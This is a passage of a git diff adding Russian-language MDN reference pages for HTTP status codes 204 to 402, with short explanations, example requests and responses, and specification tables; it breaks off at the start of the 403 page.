diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html
new file mode 100644
index 0000000000..c874bd3e14
--- /dev/null
+++ b/files/ru/web/http/status/204/index.html
@@ -0,0 +1,49 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong>  кэшируется. В такой ответ включен  {{HTTPHeader("ETag")}}.</p>
+
+<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "204")}}</p>
+
+<h2 id="Примечания_совместимости">Примечания совместимости</h2>
+
+<ul>
+ <li>Хотя этот статус код предназначен для описания ответа без тела, серверы могут ошибочно включать данные, следующие за заголовками. Протокол позволяет идентификаторам браузера изменять способ обработки таких ответов (<a href="https://github.com/httpwg/http11bis/issues/26">обсуждение этого текста спецификации можно найти здесь</a>). Это наблюдается в постоянных соединениях, где невалидное тело запроса может содержать отдельный ответ на последующий запрос.<br>
+ <br>
+ Apple Safari отклоняет любые такие данные. Google Chrome и Microsoft Edge отбрасывают до 4 невалидных байт, предшествующих правильному ответу.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+</ul>
diff --git a/files/ru/web/http/status/205/index.html b/files/ru/web/http/status/205/index.html
new file mode 100644
index 0000000000..60ec11ef5c
--- /dev/null
+++ b/files/ru/web/http/status/205/index.html
@@ -0,0 +1,35 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Статус ответа "HTTP <strong><code>205 Reset Content"</code></strong>сообщает клиенту об изменении вида документа, например, для очистки содержимого формы, сброса состояния холста или обновления пользовательского интерфейса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html
new file mode 100644
index 0000000000..d34fac6443
--- /dev/null
+++ b/files/ru/web/http/status/206/index.html
@@ -0,0 +1,83 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+translation_of: Web/HTTP/Status/206
+---
+<div>
+<p>{{HTTPSidebar}}</p>
+
+<p>"The HTTP <strong><code>206 Partial Content"</code></strong>код ответа на статус успешного  указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в  {{HTTPHeader("Range")}} запроса</p>
+
+<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}</p>
+
+<p>Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение <strong>multipart/byteranges</strong>, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, содержащий один диапазон:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>Ответ, содержащий несколько диапазонов:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "206")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/300/index.html b/files/ru/web/http/status/300/index.html
new file mode 100644
index 0000000000..557a1f0f9a
--- /dev/null
+++ b/files/ru/web/http/status/300/index.html
@@ -0,0 +1,41 @@
+---
+title: 300 Multiple Choices
+slug: Web/HTTP/Status/300
+translation_of: Web/HTTP/Status/300
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на перенаправление "The HTTP <code><strong>300 Multiple Choices"</strong></code> указывает, что запрос имеет несколько возможных ответов. Пользователь-агент или пользователь должны выбрать один из них. Поскольку стандартного способа выбора одного из ответов нет, этот код ответа очень редко используется.</p>
+
+<p>Если сервер имеет предпочтительный выбор, он должен создать  {{HTTPHeader("Location")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">300 Multiple Choices</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>См. это: <a href="https://www.w3.org/Style/Examples/007/figures.ht">w3.org page for a Multiple Choice response</a>.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+</ul>
diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html
new file mode 100644
index 0000000000..8456c79e66
--- /dev/null
+++ b/files/ru/web/http/status/301/index.html
@@ -0,0 +1,58 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+tags:
+ - HTTP
+ - Код ответа
+ - Перенаправление
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p>
+
+<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">301 Moved Permanently</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="notranslate">GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre class="notranslate">HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li>
+ <li>{{HTTPStatus("302", "302 Found")}}, временное перенаправление</li>
+</ul>
diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html
new file mode 100644
index 0000000000..34c5344642
--- /dev/null
+++ b/files/ru/web/http/status/302/index.html
@@ -0,0 +1,61 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+ - HTTP
+ - Код ответа
+ - Перенаправления
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p>
+
+<p>Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код <code>302</code> только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.</p>
+
+<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre>GET / HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre>HTTP/1.1 302 Found
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, эквивалент рассматриваемого кода ответа, но явно запрещающий изменение метода запроса.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, временное перенаправление, которое изменяет метод запроса на {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, постоянное перенаправление.</li>
+</ul>
diff --git a/files/ru/web/http/status/303/index.html b/files/ru/web/http/status/303/index.html
new file mode 100644
index 0000000000..2430ef3035
--- /dev/null
+++ b/files/ru/web/http/status/303/index.html
@@ -0,0 +1,57 @@
+---
+title: 303 See Other
+slug: Web/HTTP/Status/303
+tags:
+ - HTTP
+ - Код ответа
+ - Перенаправление
+translation_of: Web/HTTP/Status/303
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p>HTTP код перенаправления <code><strong>303</strong></code><strong><code> See Other</code></strong> обычно отправляется в результате {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} запроса и указывает, что перенаправление производится не на новый (только что загруженный) ресурс, а на другую страницу, например, страницу подтверждения или страницу с результатами загрузки. Метод, используемый для отображения страницы, на которую производится перенаправление - всегда {{HTTPMethod("GET")}}.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">303 See Other</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="line-numbers language-html"><code class="language-html">POST /api/items/delete HTTP/1.1
+Host: www.example.org</code></pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre>HTTP/1.1 303 See Other
+Location: /confirmation</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.303")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, временное перенаправление</li>
+</ul>
diff --git a/files/ru/web/http/status/304/index.html b/files/ru/web/http/status/304/index.html
new file mode 100644
index 0000000000..1917737e6c
--- /dev/null
+++ b/files/ru/web/http/status/304/index.html
@@ -0,0 +1,46 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+translation_of: Web/HTTP/Status/304
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код "HTTP <strong>304 Not Modified</strong>" клиента указывает, что нет необходимости повторно передавать запрошенные ресурсы. Это неявное перенаправление на кэшированный ресурс. Это происходит, когда метод  {{glossary("safe")}}, например {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос или когда запрос является условным и использует {{HTTPHeader("If-None-Match")}} или {{HTTPHeader("If-Modified-Since")}}.</p>
+
+<p>Если эквивалентный ответ {{HTTPStatus("200")}} <code>OK</code> включал {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}} и {{HTTPHeader("Vary")}}.</p>
+
+<div class="note">
+<p>Многие  <a href="https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor">developer tools' network panels</a> браузеров создают посторонние запросы, приводящие к 304 ответам, так что доступ к локальному кешу виден разработчикам.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "304")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html
new file mode 100644
index 0000000000..8ffa791618
--- /dev/null
+++ b/files/ru/web/http/status/307/index.html
@@ -0,0 +1,66 @@
+---
+title: 307 Temporary Redirect
+slug: Web/HTTP/Status/307
+tags:
+ - HTTP
+ - Код ответа
+ - Перенаправление
+translation_of: Web/HTTP/Status/307
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Glossary("HTTP")}} код перенаправления  <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p>
+
+<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p>
+
+<p>Единственное различие между <code>307</code> и {{HTTPStatus("302")}} состоит в том, что <code>307</code> гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом <code>302</code> некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от <code>GET</code> и ответа с кодом <code>302</code> непредсказуемо, тогда как поведение в случае ответа с кодом <code>307</code> предсказуемо. Для запросов <code>GET</code> поведение идентично.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">307 Temporary Redirect
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос_клиента">Запрос клиента</h3>
+
+<pre class="syntaxbox notranslate">DELETE /cars/oldest HTTP/1.1
+Host: www.example.org
+</pre>
+
+<h3 id="Ответ_сервера">Ответ сервера</h3>
+
+<pre class="syntaxbox notranslate">HTTP/1.1 307 Temporary Redirect
+Location: http://www.example.org/cars/id/123456
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.307")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, эквивалентен этому коду ответа, но может изменить метод запроса, если он отличается от {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, временное перенаправление, которе изменяет метод на {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, постоянное перенаправление</li>
+<li><a class="external" href="https://www.exai.com/blog/307-temporary-redirect" rel="noopener">307 Temporary Redirect</a></li>
+
+</ul>
diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html
new file mode 100644
index 0000000000..6416f1cf9c
--- /dev/null
+++ b/files/ru/web/http/status/308/index.html
@@ -0,0 +1,46 @@
+---
+title: 308 Permanent Redirect
+slug: Web/HTTP/Status/308
+translation_of: Web/HTTP/Status/308
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p>
+
+<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}}  иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.</p>
+
+<div class="note">
+<p>Некоторые веб-приложения могут использовать <strong>308 Permanent Redirect</strong> нестандартным образом и для других целей. Например, Google Drive использует ответ <strong>308 Resume Incomplete</strong>, чтобы указать клиенту, когда неполная загрузка застопорилась.<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">308 Permanent Redirect</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td>
+ <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "308")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li>
+</ul>
diff --git a/files/ru/web/http/status/400/index.html b/files/ru/web/http/status/400/index.html
new file mode 100644
index 0000000000..14939c0e29
--- /dev/null
+++ b/files/ru/web/http/status/400/index.html
@@ -0,0 +1,33 @@
+---
+title: 400 Bad Request
+slug: Web/HTTP/Status/400
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код состояния ответа "HTTP <strong>400 Bad Request</strong>" указывает, что сервер не смог понять запрос из-за недействительного синтаксиса. Клиент не должен повторять этот запрос без изменений.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">400 Bad Request </pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://www.exai.com/blog/400-bad-request-error">400 Bad Request</a></li>
+</ul>
diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html
new file mode 100644
index 0000000000..e093e7d774
--- /dev/null
+++ b/files/ru/web/http/status/401/index.html
@@ -0,0 +1,54 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на статус ошибки  HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.</p>
+
+<p>Этот статус отправляется с  {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.</p>
+
+<p>Этот статус похож на  {{HTTPStatus("403")}}, но в этом случае возможна аутентификация.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">401 Unauthorized</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="notranslate">HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+ <td>HTTP/1.1: Authentication</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "401")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html
new file mode 100644
index 0000000000..e25ebef0f3
--- /dev/null
+++ b/files/ru/web/http/status/402/index.html
@@ -0,0 +1,49 @@
+---
+title: 402 Payment Required
+slug: Web/HTTP/Status/402
+translation_of: Web/HTTP/Status/402
+---
+<div>{{HTTPSidebar}}{{SeeCompatTable}}</div>
+
+<p>HTTP-ответ <strong><code>402 Payment Required</code></strong> это нестандартная ошибка клиента, зарезервированная для использования в будущем.</p>
+
+<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиен не совершит оплату. Изначально создан для активации цифровых сретств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">402 Payment Required</pre>
+
+<h2 id="Пример_ответа">Пример ответа</h2>
+
+<pre class="brush: bash">HTTP/1.1 402 Payment Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td>
+ <td>HTTP/1.1: Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("http.status.402")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F">HTTP Авторизация</a></li>
+</ul>
diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html
new file mode 100644
index 0000000000..91222d7aef
--- /dev/null
+++ b/files/ru/web/http/status/403/index.html
@@ -0,0 +1,48 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
